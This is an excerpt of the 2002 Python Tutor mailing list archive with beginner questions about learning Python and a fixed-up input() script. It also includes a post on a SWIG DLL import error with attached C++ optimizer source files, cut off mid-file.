   I would recommend that in addition to your "sam's" book you pick up Alan 
Gauld's "Learn to Program using Python" and O'Reilly's "Learning Python". 
Gauld's book is very good at explaining things at a starter level and 
O'Reilly's book is in my opinion very straightforeward. There are times when 
I will have all three books open in front of me while trying to "get" a 
concept but usually one of them will have an explanation that will make 
sense to me.
   If you find you are not understanding a concept the folks here at "tutor" 
are really helpful and patient.

Good luck

>From: Ciaguy@aol.com
>To: tutor@python.org
>Subject: [Tutor] Newbie
>Date: Sat, 2 Feb 2002 12:34:46 EST
>
>I recently bought "SAMS Teach Yourself Python in 24 Hours."  Hour #2 
>suggests
>I sign up for the Tutor mailing list.  How to do this?
>
>Background: I wish to teach myself to write programs for my computer.  I 
>have
>absolutely no experience.  I am probably around 10 notches below beginner
>level.  I am no math whiz.  I am just a 60 y/o male with only a keen desire
>to teach myself a programming language.  Friends(?) have suggested I start
>with XBasic, Liberty Basic, Visual Basic, or even C++ (Wrong!).
>
>Will Python be a good "idiot" user friendly language for self teachers, 
>such
>as myself?  Thanks for any advice or input.
>
>Sincerely,
>Wolf
>
>_______________________________________________
>Tutor maillist  -  Tutor@python.org
>http://mail.python.org/mailman/listinfo/tutor




_________________________________________________________________
Send and receive Hotmail on your mobile device: http://mobile.msn.com



From Rave_Dj@btopenworld.com  Sun Feb  3 13:31:06 2002
From: Rave_Dj@btopenworld.com (Callum Golding)
Date: Sun, 3 Feb 2002 13:31:06 -0000
Subject: [Tutor] help?
Message-ID: <001b01c1acb7$09ddad80$b6aa01d5@callum>

This is a multi-part message in MIME format.

------=_NextPart_000_0018_01C1ACB7.08759200
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I'm sorry to bother you, but i was wondering if you could give me a =
little advice. I've recently downloaded Python 2.2. Ive read a begginers =
guide to programming and tried creating a small program, I used the =
input function. Now as soon as I open the program it goes into dos and =
asks me the question, and when i type in an anwser, dos shuts down. Now =
its really starting to bug me. If you could give me some advice I would =
be real grateful. The program I wrote is below; -


tempetature =3D input("What is the temperature of the spam?")

if temperature > 50:
    print "The salad is properly cooked"
else:
    print "Cook the salad some more"=20

    Mat.G

        Cheers

------=_NextPart_000_0018_01C1ACB7.08759200
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV><FONT face=3DArial size=3D2>I'm sorry to bother you, but i was =
wondering if you=20
could give me a little advice. I've recently downloaded Python 2.2. Ive =
read a=20
begginers guide to programming and tried creating a small program, I =
used the=20
input function. Now as soon as I open the program it goes into dos and =
asks me=20
the question, and when i type in an anwser, dos shuts down. Now its =
really=20
starting to bug me. If you could give me some advice I would be real =
grateful.=20
The program I wrote is below; -</FONT></DIV>
<DIV>&nbsp;</DIV><FONT face=3DArial size=3D2>
<DIV><BR>tempetature =3D input("What is the temperature of the =
spam?")</DIV>
<DIV>&nbsp;</DIV>
<DIV>if temperature &gt; 50:<BR>&nbsp;&nbsp;&nbsp; print "The salad is =
properly=20
cooked"<BR>else:<BR>&nbsp;&nbsp;&nbsp; print "Cook the salad some=20
more"</FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; Mat.G</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;=20
Cheers</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0018_01C1ACB7.08759200--



From m_konermann@gmx.de  Sun Feb  3 15:02:47 2002
From: m_konermann@gmx.de (Keule)
Date: Sun, 03 Feb 2002 16:02:47 +0100
Subject: [Tutor] C++ Extension Problems
Message-ID: <3C5D5117.2000708@gmx.de>

This is a multi-part message in MIME format.
--------------090302080802010307050504
Content-Type: multipart/alternative;
 boundary="------------000502040303080901030702"


--------------000502040303080901030702
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi @ ALL !

I´ve created a .dll file with SWIG under windows. Now i want to use it 
and try to import it into the simannealfile.py modul, but pythonwin 
always gives the following error:

File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 394, 
in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py", line 301, 
in RunScript
    exec codeObject in __main__.__dict__
  File 
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py", 
line 2, in ?
    import simannealfile
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.

I checked out the examples ,delivered with SWIG, and compared them with 
my Settings under Visual C++. The Examples are all functioned and now i 
absolutly did´nt know whats going wrong and why i always get the 
Errormessage above. I ´ve put my files with these mail.
Perhaps anyone of you could check my settings an can give me an advice 
what´s going wrong.

Thanks a lot
Greetings
Marcus

--------------000502040303080901030702
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi @ ALL !<br>
<br>
I&acute;ve created a .dll file with SWIG under windows. Now i want to use it and
try to import it into the simannealfile.py modul, but pythonwin always gives
the following error:<br>
<br>
<i>File <a class="moz-txt-link-rfc2396E" href="C:\Python21\Pythonwin\pywin\framework\scriptutils.py">"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>, line 394,
in ImportFile<br>
 &nbsp;&nbsp;&nbsp; exec codeObj in __main__.__dict__<br>
 &nbsp; File "&lt;auto import&gt;", line 1, in ?<br>
 ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.<br>
 Traceback (most recent call last):<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:\Python21\Pythonwin\pywin\framework\scriptutils.py">"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>, line 301,
in RunScript<br>
 &nbsp;&nbsp;&nbsp; exec codeObject in __main__.__dict__<br>
 &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py">"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py"</a>,
line 2, in ?<br>
 &nbsp;&nbsp;&nbsp; import simannealfile<br>
 ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.</i><br>
<br>
I checked out the examples ,delivered with SWIG, and compared them with my
Settings under Visual C++. The Examples are all functioned and now i absolutly
did&acute;nt know whats going wrong and why i always get the Errormessage above.
I &acute;ve put my files with these mail. <br>
Perhaps anyone of you could check my settings an can give me an advice what&acute;s
going wrong.<br>
<br>
Thanks a lot<br>
Greetings<br>
Marcus<br>
</body>
</html>

--------------000502040303080901030702--

--------------090302080802010307050504
Content-Type: text/plain;
 name="basisfile.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="basisfile.cpp"

#include "basisfile.h"

filetext::filetext () {
  tlln = 0;
  tfln = 0;
  variable_pointer = NULL;
  next = NULL;
}

filetext::~filetext () {
  clean ();
}


void filetext::clean () {
  clean (this);
}

void filetext::clean (struct filetext *ft) {
  if (ft) {
    if (ft->next) { 
      clean (ft->next);
      ft->next = NULL;
    }
    variable_pointer = NULL;
    text.clean ();
    parameter_text.clean ();
  }
}

basisfile::basisfile () {
  filename = NULL;
  text = NULL;
}

basisfile::basisfile (struct string &fn) {
  filename = new struct string;
  filename->copy (fn);
  text = NULL;
}

basisfile::basisfile (char *fn) {
  init (fn);
}

basisfile::~basisfile () {
  clean ();
}

void basisfile::init (char *fn) {
  filename = new struct string;
  filename->copy (fn);
  text = NULL;
}
  

void basisfile::clean () {
  if (filename) {
    delete filename;
    filename = NULL;
  }
  if (text) {
    delete text;
    text = NULL;
  }
}

int basisfile::readfile () {
  if (!filename->size) {
    printf ("basisfile::readfile:\n No filename to read specified.\n");
    return 1;
  }
  
  /* initialize text-pointer */
  text = new struct filetext;
    
  /* Copy complete input file to text */
  text->tfln = 1;
  if ((text->tlln = text->text.filereadc (*filename, '\n')) < 0) {
    printf ("basisfile::readfile ():\n ");
    strprint (*filename, "Error while reading file `", "'.\n");
    return 1;
  }
  
  return 0;
}


int basisfile::writefile (string &otherfilename, char *mode) {
  struct filetext *help = this->text;
    
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("basisfile::writefile:\n Invalid mode %s ", mode);
    strprint (otherfilename, "for writing to file `", "'.\n");
    return 1;
  }
  
  FILE *out = otherfilename.fileopen (mode);

  if (out)
    while (help != NULL) {
      if (help->text.size)
	help->text.filewrite (out);
      if (help->parameter_text.size)
	help->parameter_text.filewrite (out);
      help = help->next;
    }
  else {
    strprint (otherfilename, "basisfile::writefile:\n Unable to open file `",
	      "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }

  while (help != NULL) {
    if (help->text.size)
      help->text.filewrite (otherfilename, "a");
    if (help->parameter_text.size)
      help->parameter_text.filewrite (otherfilename, "a");
    help = help->next;
  }
  
  return 0;
}


int basisfile::writefile (char *mode) {
  struct filetext *help = this->text;
    
  if ( (*mode != 'a') && (*mode != 'w') ) {
    printf ("basisfile::writefile:\n Invalid mode %s ", mode);
    strprint (*filename, "for writing to file `", "'.\n");
    return 1;
  }
  
  FILE *out = filename->fileopen (mode);

  if (out) {
    while (help != NULL) {
      if (help->text.size)
	help->text.filewrite (out);
      if (help->parameter_text.size)
	help->parameter_text.filewrite (out);
      help = help->next;
    }
    fclose (out);
  }
  else {
    strprint (*filename, "basisfile::writefile:\n Unable to open file `", "'");
    printf (" with mode %s.\n", mode);
    return 2;
  }

//    while (help != NULL) {
//      if (help->text.size)
//        help->text.filewrite (*filename, "a");
//      if (help->parameter_text.size)
//        help->parameter_text.filewrite (*filename, "a");
//      help = help->next;
//    }

  return 0;
}


int basisfile::build (struct variablelist *variable) {
  struct filetext *help;

  /* Look for specified variable */
  while (variable) {
    help = this->text;
    /* search all parts of basisfile (except in parameter-text-parts) */
    while (help) {
      /* search in text */
      if (variable->linenumber <= help->tlln) {
	/* split text */
	if ( split (&help, variable) ) {
	  printf ("Error while splitting basisfile structure.\n");
	  return 1;
	}
	else
	  /* parameter found */
	  help = NULL;
      }
      else {
	/* nothing found */
	help = help->next;
      }
    }
    /* found parameter? */
    if (!variable->text) {
      printf ("Couldn't find parameter number %d.\n", variable->number);
      printf ("Probably line number %d exceeds number of lines of file.\n",
	      variable->linenumber);
      return 2;
    }
    /* look at next one */
    variable = variable->next;
  }
  return 0;
}


int basisfile::split (struct filetext **text, struct variablelist *variable, 
		      int separators) {
  int line = (*text)->tfln; 
  int linepos = 0, prepos = 0, pastpos;
  int original_size = (*text)->text.size;
  int original_tlln = (*text)->tlln;
  string help, dummy;
  int next_line_offset;
  struct filetext *hft = NULL;

  /* check text */
  if (!text || !(*text)) {
    printf ("basisfile::split:\n Empty filetext structure.  Aborting.\n");
    return 100;
  }

  /* check linenumber and position */
  if (variable->linenumber < 1) {
    printf ("basisfile::split:\n Invalid linenumber %d.\n",
	    variable->linenumber);
    return 99;
  }
  if (variable->position < 0) {
    printf ("basisfile::split:\n Invalid position %d.\n",
	    variable->position);
    return 99;
  }

  /* find right line */
  while (line < variable->linenumber) {
    linepos += (*text)->text.string_complement_span("\n", linepos) + 1;
    line++;
  }
   
  next_line_offset = (*text)->text.string_complement_span("\n", linepos) + 1;
  /* if "\n" was not found, next_line_offset is position of "\0".
     Since this character is not meant to be copied to help, we must
     decrease next_line_offset by 1 in this case. */
  if (next_line_offset+linepos == (*text)->text.size)
    help.ncopy ((*text)->text, next_line_offset-1, linepos);
  else
    help.ncopy ((*text)->text, next_line_offset, linepos);
  
  /* find beginning position of parameter-text in line */
  while (separators < variable->position) { 
    /* if not found */
    if (!(help.string_string(dummy, variable->preseparator, prepos+1))) {
      /* Does line in question continue with next struct? */
      if ( ((*text)->next) && ((*text)->next->tfln == line) )
	return (split ( &((*text)->next), variable, separators));
      else {
	printf("Problem in line no. %d:\n", line);
	printf(" Can not find more than %d", separators);
	strprint (variable->preseparator, " preseparators `", "'.\n");
	printf(" Should have found %d.\n", variable->position);
	strprint (help, "Text of the line under consideration:\n \"", "\"\n");
	return 1;
      }
    } 
    prepos = help.size - dummy.size;
    separators++;
  }

  /* if no separators were meant to be found, dummy would not contain
     the string continuing with guessed variable-text start: dummy
     would be empty. */
  if (!separators)
    dummy.copy (help);

  /* find ending position of parameter-text in line */
  if (!variable->pastseparator.size) {
    printf("Problem with specification of variable no. %d:\n", 
	   variable->number);
    printf(" pastseparatpor is empty.\n");
    return 2;
  }
  else
    if (!(help.string_string(dummy, variable->pastseparator, 
			     help.size-dummy.size 
			     + variable->preseparator.size - 1))) {
      printf("Problem in line no. %d:\n", line);
      printf(" Can not find");
      strprint (variable->pastseparator, " pastseparator `", "' after ");
      printf ("%d. ", separators);
      strprint(variable->preseparator, "presaparator `", "'.\n");
      strprint (help, "Text of the line under consideration:\n \"", "\"\n");
      return 3;
    } 

  pastpos = linepos + help.size - dummy.size;

  /* set adequat positions of beginning of parameter_text */
  prepos += linepos + variable->preseparator.size - 1;

  /* save whole text */
  dummy.copy ((*text)->text);
  /* copy non-parameter-text to text */
  (*text)->text.ncopy (dummy, prepos);
  /* breaking line no. $line means, that text last line number is $line now. */
  (*text)->tlln = line;

  /* Are we dealing with a line already splitted into text and
     paramter_text?  Then save parameter_text and variable_pointer and
     take care of the variable-pointer to this old parameter_text. */
  if ((*text)->parameter_text.size) {
    /* create new basisfile-node */
    hft = new struct filetext;
    /* save parameter_text there. */
    hft->parameter_text.copy ((*text)->parameter_text);
    /* save variable_pointer, too */
    hft->variable_pointer = (*text)->variable_pointer;
    /* redirect variablelist-pointer to new location of old parameter_text. */
    hft->variable_pointer->text = hft;
  }
  /* is some original text left behind new parameter_text?  Save it!  */
  if (pastpos < original_size) {
    /* create new basisfile-node, if not done already */
    if (!hft)
      hft = new struct filetext;
    /* save rest of the text in new node, too */
    hft->text.ncopy (dummy, original_size-pastpos-1, pastpos);
  }

  /* copy parameter-text to parameter_text */
  (*text)->parameter_text.ncopy (dummy, pastpos-prepos, prepos);
  /* link pointer of variable to according parameter_text and backlink
     pointer of *text to that same variable pointer. */
  variable->text = (*text);
  (*text)->variable_pointer = variable;
  
  /* set adequat line numbers for new node and link it to the
     structure, if new node exists. */
  if (hft) {
    /* text last line number is last line number of original text. */
    hft->tlln = original_tlln;
    /* if parameter_text does not include '\n' of original line, new
       text first line number is just the number of the breaked line
       ($line).  Otherwise new tfln is number of next line. */
    if ((*text)->parameter_text.string_character ('\n'))
      hft->tfln = line+1;
    else
      hft->tfln = line;
    /* link new node to structure.  aehm?? Take care of pointer of variable
       struct pointing to text->next. */
    hft->next = (*text)->next;
    //hbf->next->variable_pointer->text = &hbf;
    (*text)->next = hft;
  }
  return 0;
}

int vl2pt (struct variablelist *vl) {
  while (vl) {
    if (vl->text) {
      if (vl->text->parameter_text.copy (vl->x_now)) {
	printf ("vl2pt:\n ");
	printf ("Error while copying x_now to paramter text.\n");
	return 1;
      }
    }
    else {
      printf ("vl2pt:\n ");
      printf ("Cannot find paramter text for variable no. %d.\n", 
	      vl->number);
      return 2;
    }
    vl = vl->next;
  }
  return 0;
}

void print (struct filetext *ft) {
  while (ft) {
    printf ("tfln = %d\ttlln = %d\n", ft->tfln, ft->tlln);
    printf ("variablen_pointer->nummer = ");
    if (ft->variable_pointer)
      printf("%d\n", ft->variable_pointer->number); 
    else
      printf("\n");
    strprint (ft->text, "text:\n `", "'\n");
    strprint (ft->parameter_text, "parameter_text: `", "'\n");
    ft = ft->next;
  }
}

--------------090302080802010307050504
Content-Type: text/plain;
 name="basisfile.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="basisfile.h"

#ifndef BASISFILE_H
#define BASISFILE_H

#include "safe_string.h"
#include "variable.h"

struct filetext {
  filetext ();
  ~filetext ();

  void clean (struct filetext *ft);
  void clean ();

  struct string text;
  struct string parameter_text;
  /* text first line number */ 
  int tfln;
  /* text last line number */
  int tlln;
  /* pointer to the variable-struct, which points to this
     text-struct. */
  struct variablelist *variable_pointer;
  struct filetext *next;
};

struct basisfile {
  basisfile ();
  basisfile (struct string &fn);
  basisfile (char *fn);
  ~basisfile ();

  void init (char *fn);
  void clean ();
  
  struct filetext *text;
  struct string *filename;

  int readfile ();
  /* write this.text and this.parameter_text to file 'filename'.
     writefile walks through from this to last element of next-pointer
     and writes first text and then parameter_text to the file.  The
     file is opened once in mode 'mode'.  Values of mode are meant to
     be "w"- or "a"-modes according to the fopen()-function. */
  int writefile (struct string &filename, char *mode = "w");
  int writefile (char *mode = "w");
  int build (struct variablelist *variable);
  /* searches parameter_text specified in 'variable' in text of
     'text'.  If found, the text of 'text' is split into 'text' and
     'parameter_text' and in case some text of the line is left, a new
     node is inserted into 'text'.  In case of **text contains a
     splitted line, split will call itself recursively in order to
     search the whole line.  The text-pointer of *variable is set to
     the node of **text containing the parametertext belonging to
     variable.

     How is parameter_text searched for?  It is searched for the line
     variable->linenumber.  variable->preseparator and
     variable->pastseparator gives the text left and right from the
     searched parameter_text.  variable->position gives the number of
     preseparator sets which must be found before parameter_text.  If
     variable->position is 0, variable->preseparator is ignored and it
     is assumed, that the parameter_text starts at the beginning of
     the line.  If enough preseparators are found, the pastseparator
     will be searched for.  An empty pastseparator will lead to an
     error, if the file is continuing after the parameter_text.  A
     pastseparator not found, too.

     Return value is 0, if everything is fine, > 0 if an error occured.
  */
  int split (struct filetext **text, struct variablelist *variable, 
	     int separators = 0);
};

/* Copys x_now of variables to their parameter_texts */
int vl2pt (struct variablelist *vl);
void print (struct filetext *ft);
#endif

--------------090302080802010307050504
Content-Type: text/plain;
 name="calculate.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="calculate.cpp"

#include "calculate.h"
#include "basisfile.h"


int calculate (struct variable &result, struct variablelist *vl, 
	       struct basisfile *bf, struct string *call) {
  /* create basisfile with given values of variables */
  /* 1. copy actual variables to parameter text parts */
  if (vl2pt (vl)) {
    printf ("calculate ():\n ");
    printf ("Error while copying variables (x_now) to parameter texts.\n");
    return 1;
  }

  /* 2. write basisfile */
  if (bf)
    bf->writefile ();
  else {
    printf ("calculate ():\n No basisfile structure specified.\n");
    return 1;
  }
  
  /* execute calculation */
  call->system_call ();

  /* build result out of calculated data */
  /* under construction !! */
  FILE *ergebnis = fopen ("output.asc", "r");
  if (ergebnis)
    fscanf(ergebnis, "%lf", &(result.dv));
  else {
    printf ("calculate:  Ausgabedatei `output.asc' nicht gefunden.\n");
    return 1;
  }
  fclose (ergebnis);
  
  return 0;
}

int calculate (struct variable &result, struct basisfile *bf, 
	       struct string *call) {
  /* write basisfile */
  if (bf)
    bf->writefile ();
  else {
    printf ("calculate ():\n No basisfile structure specified.\n");
    return 1;
  }
  
  /* execute calculation */
  call->system_call ();

  /* build result out of calculated data */
  /* under construction !! */
  FILE *ergebnis = fopen ("output.asc", "r");
  if (ergebnis)
    fscanf(ergebnis, "%lf", &(result.dv));
  else {
    printf ("calculate:  Ausgabedatei `ergebnis.asc' nicht gefunden.\n");
    return 1;
  }
  fclose (ergebnis);
  
  return 0;
}


--------------090302080802010307050504
Content-Type: text/plain;
 name="calculate.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="calculate.h"

#ifndef CALCULATE_H
#define CALCULATE_H

#include "variable.h"

/* calculates results for basisfile.  If vl is parameter, the x_now's
   from vl will be incorporated into the basisfile.  Otherwise not
   (this version is needed for first calculations, when x_now is still
   empty.) */
int calculate (struct variable &result, struct variablelist *vl, 
	       struct basisfile *bf, struct string *call);
int calculate (struct variable &result, struct basisfile *bf, 
	       struct string *call);

#endif

--------------090302080802010307050504
Content-Type: text/plain;
 name="evaluate.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="evaluate.cpp"

#include "evaluate.h"

evaluate::evaluate () {
  goal = NULL;
  epsilon = NULL;
  minchange = NULL;
  criteria = '0';
}

evaluate::~evaluate () {
}

int evaluate::abort (struct variable &result) {
  int comp;
  switch (criteria) {
  case 'e': /* epsilon-environment of goal must be reached */
    printf ("evaluate::abort(): case 'e' not implemented yet.\n");
    return -1;
    break;
  case 's': /* result must be smaller than goal */
    comp = smaller (&result, goal);
    if (comp < 0) {
      printf ("evaluate::abort():\n");
      printf (" Error while comparing result with goal.\n");
      return -1;
    }
    return comp;
    break;
  case 'g': /* result must be greater than goal */
    comp = greater (&result, goal);
    if (comp < 0) {
      printf ("evaluate::abort():\n");
      printf (" Error while comparing result with goal.\n");
      return -1;
    }
    return comp;
    break;
  case 'n': /* `minchange' has to be exceeded after `n' calculations of
	       result */
    printf ("evaluate::abort(): case 'n' not implemented yet.\n");
    return -1;
    break;
  default:
    printf ("evaluate::abort():\n");
    printf (" Unknown criteria `%c'.\n");
    return -1;
  }
  return 0;
}

--------------090302080802010307050504
Content-Type: text/plain;
 name="evaluate.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="evaluate.h"

#ifndef EVALUATE_H
#define EVALUATE_H

#include "variable.h"

struct evaluate {
  evaluate ();
  ~evaluate ();
  /* criteria is used to choose method to determine end or success of
     optimization.  

     'e': epsilon-environment of goal must be reached 
     's': result must be smaller than goal 
     'g': result must be greater than goal 
     'n': `minchange' has to be exceeded after `n' calculations of
     result 
  */
  char criteria;
  /* goal of optimization. */
  struct variable *goal;
  /* error with which goal may be achieved */
  struct variable *epsilon;
  /* `minchange' has to be exceeded after `n' calculations of result */
  struct variable *minchange;
  int n;

  int abort (struct variable &result);
};

#endif

--------------090302080802010307050504
Content-Type: text/plain;
 name="safe_string.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="safe_string.cpp"

#include "safe_string.h"
#include "variable.h"

#include <math.h>

string::string ()
{
  size = 0;
  str = NULL;
  label = NULL;
}


string::string ( int s, char *l )
{
  init ( s, l );
}


string::string ( char *s, char *l )
{
  size = strlen ( s ) + 1;
  init ( size, l );
  strcpy ( str, s );
}


string::string ( string &s, char *l )
{
  str = NULL;
  size = 0;
  label = l;
  copy ( s );
}


string::~string ()
{
  clean ();
}

void
string::clean ()
{
  if ( str )
    delete [] str;
  str = NULL;
}


void
string::init ( int s, char *l )
{
  if ( s ) {
    size = s;
    str = new char [ s ];
  }
  else
    str = NULL;
  if ( l ) {
    label = new char [ strlen ( l ) + 1 ];
    strcpy ( label, l );
  }
  else
    label = NULL;
}


string &
string::operator = ( string &s )
{
  size = s.size;
  str = s.str;
  label = s.label;
  return *this;
}


void
string::check_index ( int i )
{
  if (  ( i < 0 )  ||  ( i >= size )  )
    {
      printf ( "string::check_index ( %d )", i );
      if ( label )
	printf ( " %s", label );
      printf ( ": Access out of bounds.\n" );
      exit (0);
    }
}


struct string &
string::copy ( string &s )
{
  if ( this->str == s.str )
    return *this;
  
  if ( str )
    delete [] str;
  
  if ( !s.str ) {
    size = 0;
    str = NULL;
    return *this;
  }
  
  size = s.size;
  str = new char [ size ];
  for ( int i=0; i < size; i++ )
    (*this) (i) = s (i);

  return *this;
}


struct string &
string::copy ( char *s )
{
  if ( this->str == s )
    return *this;

  if ( str )
    delete [] str;
  
  size = strlen ( s ) + 1;
  str = new char [ size ];

  for ( int i=0; i < size-1; i++ )
    (*this) (i) = s [i];

  str[size-1] = '\0';

  return *this;
}


int string::copy (double d, long int decimal) {
  /* check decimal */
  if (decimal<0) {
    printf ("string::copy:\n Invalid value of decimal: %d\n", decimal);
    return 1;
  }
  decimal;
  /* number of digits before dot */
  int digits = 0;
  /* number of characters for sprintf-format-string "%fdigits.decimal" */
  /* 4 = '%' 'f' '.' */
  int noc = 3;
  /* calculate number of digits needed to print d */
  /* watch out for negative numbers */
  if ( d < 0 )
    digits += (int)log10(-d) + 2;
  else
    if ( d == 0 ) {
      digits = 1;
      noc++;
    }
    else
      digits += (int)log10(d) + 1;

  /* calculate number of characters needed to print format string */
  noc += (int)log10(digits)+1 + (int)log10(decimal)+1;

  /* build format string */
  char *formatstring = new char [noc];
  sprintf (formatstring, "%%%d.%df", digits, decimal);
    
  /* build string */
  str = new char [ digits + decimal + 2 ];
  sprintf ( str, formatstring, d );
  str[digits + decimal+1] = '\0';
    
  delete [] formatstring;
  
  return 0;
}

int string::copy (int i) {
  /* number of digits */
  int digits = 0;
  /* calculate number of digits needed to print d */
  /* watch out for negative numbers */
  if ( i < 0 )
    digits += (int)log10(-(double)i) + 2;
  else
    if ( i == 0 )
      digits = 1;
    else
      digits += (int)log10(double(i)) + 1;

  /* build string */
  init ( digits + 1 );
  sprintf ( str, "%d", i );
  str[digits] = '\0';

  return 0;
}


int string::copy (struct variable *v) {
  if (!v) {
    printf ("string::copy(struct variable *v):\n");
    printf (" No variable given.\n");
    return 1;
  }
  switch (v->type) {
  case 'i': /* integer */
    copy (v->iv);
    break;
  case 'd': /* double */
//      for (int run = 0; run < 500000; run++) {
//        printf ("run = %d\n", run);
//        fflush(NULL);
      copy (v->dv, v->dprecision);
      //    }
      //return 1;
    break;
  case 's': /* string */
    copy (*(v->sv));
    break;
  default: /* Unknown type */
    printf ("string::copy:\n Unknown type `%c' of struct variable.\n", 
	    v->type);
    return 1;
  }
  return 0;
}

void
string::out (char **s) {
  *s = new char [size];
  strcpy (*s, str);
}

string &
string::compose ( string &first, string &second, char *inbetween )
{
  copy ( first );
  cat ( inbetween );
  cat ( second );
  return *this;
}


string &
string::compose ( string &first, char *second, char *inbetween )
{
  copy ( first );
  cat ( inbetween );
  cat ( second );
  return *this;
}

string &
string::compose ( string &first, double second, char *inbetween )
{
  char help[1000000];
  sprintf(help, "%g", second);
  copy ( first );
  cat ( inbetween );
  cat ( help );
  return *this;
}

string &
string::compose ( string &first, int second, char *inbetween )
{
  char help[1000000];
  sprintf(help, "%d", second);
  copy ( first );
  cat ( inbetween );
  cat ( help );
  return *this;
}

int
string::element ( int i )
{
  return str[i];
}

int
string::compare ( string &s )
{
  return strcmp ( this->str, s.str );
}


int
string::compare ( char *s )
{
  if ( this->str )
    if ( strcmp ( this->str, s ) )
      return 1;
    else
      return 0;
  return -1;
}

int string::string_span ( char *stopset, int offset ) {
  return (strspn (str+offset, stopset)); 
}

int string::string_span ( string &stopset, int offset ) {
  return (strspn (str+offset, stopset.str)); 
}

int string::string_complement_span ( char *stopset ) {
  return (strcspn (str, stopset));
}

int string::string_complement_span ( char *stopset, int offset ) {
  return (strcspn (str+offset, stopset)); 
}

int string::string_complement_span ( string &stopset, int offset ) {
  return (strcspn (str+offset, stopset.str)); 
}

int string::string_string ( struct string &result, char *needle ) {
  char *help;
  if ((help = strstr(str, needle))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_string ( struct string &result, struct string &needle ) {
  char *help;
  if ((help = strstr(str, needle.str))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_string ( struct string &result, struct string &needle, 
			    int offset ) {
  char *help;
  if ((help = strstr(str+offset, needle.str))) {
    result.copy(help);
    return 1;
  }
  else
    return 0;
}

int string::string_character ( char c ) {
  if (strchr(str, c))
    return 1;
  else
    return 0;
}


void string::string_pointer_break ( string &result, char *needle ) {
  result.copy (strpbrk (str, needle));
}


struct string &
string::ncopy ( string &s, int n )
{
  if ( str )
    delete [] str;

  if ( n > s.size )
    size = s.size;
  else
    size = n + 1;

  if ( size )
    {
      str = new char [ size ];
      
      for ( int i=0; i < size-1; i++ )
	(*this) (i) = s (i);
      (*this) ( size-1 ) = '\0';
    }
  return *this;
}


struct string &
string::ncopy ( string &s, int n, int offset )
{
  if ( n + offset >= s.size )
    {
      printf ( "Error in string::ncopy : ");
      printf ( "  n=%d, offset=%d, s.size=%d\n", n, offset, s.size );
      printf ( "    Hint: size includes `\\0'.\n" );
      exit ( 1 );
    }

  if ( str )
    delete [] str;

  if ( n > s.size-offset )
    size = s.size-offset;
  else
    size = n + 1;

  if ( size )
    {
      str = new char [ size ];
      
      for ( int i=0; i < size-1; i++ )
	(*this) (i) = s (i+offset);
      (*this) ( size-1 ) = '\0';
    }
  return *this;
}


string &
string::cat ( string &s )
{
  string help ( str );

  size += s.size-1;

  if ( str )
    delete [] str;

  str = new char [ size ];

  for ( int i=0; i < size; i++ )
    if ( i < help.size-1 )
      (*this)(i) = help (i);
    else
      (*this)(i) = s (i-help.size+1);
  
  return *this;
}


string &
string::cat ( char *s )
{
  if ( !s )
    return *this;
  
  if ( !str )
    {
      copy ( s );
      return *this;
    }
  
  string help ( str );
  
  size += strlen ( s );
  
  if ( str )
    delete [] str;
  
  str = new char [ size ];
  
  for ( int i=0; i < size; i++ )
    if ( i < help.size-1 )
      (*this)(i) = help (i);
    else
      (*this)(i) = s [ i-help.size+1 ];
  
  return *this;
}


FILE * 
string::fileopen ( char *s )
{
  return ( fopen ( str, s ) );
}

int
string::fileread (string &file) {
  FILE *in;;
  int number = 0;
    
  /* Count number of characters of input file */
  /* open file */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
    return 1;
  }
  /* Count */
  while ( fgetc(in) != EOF )
    number++;
  /* close file */
  fclose (in);

  /* Copy file to string */
  /* open again */
  if ((in = file.fileopen("r"))==NULL) {
    strprint (file, "Cannot open file `", "'.\n");
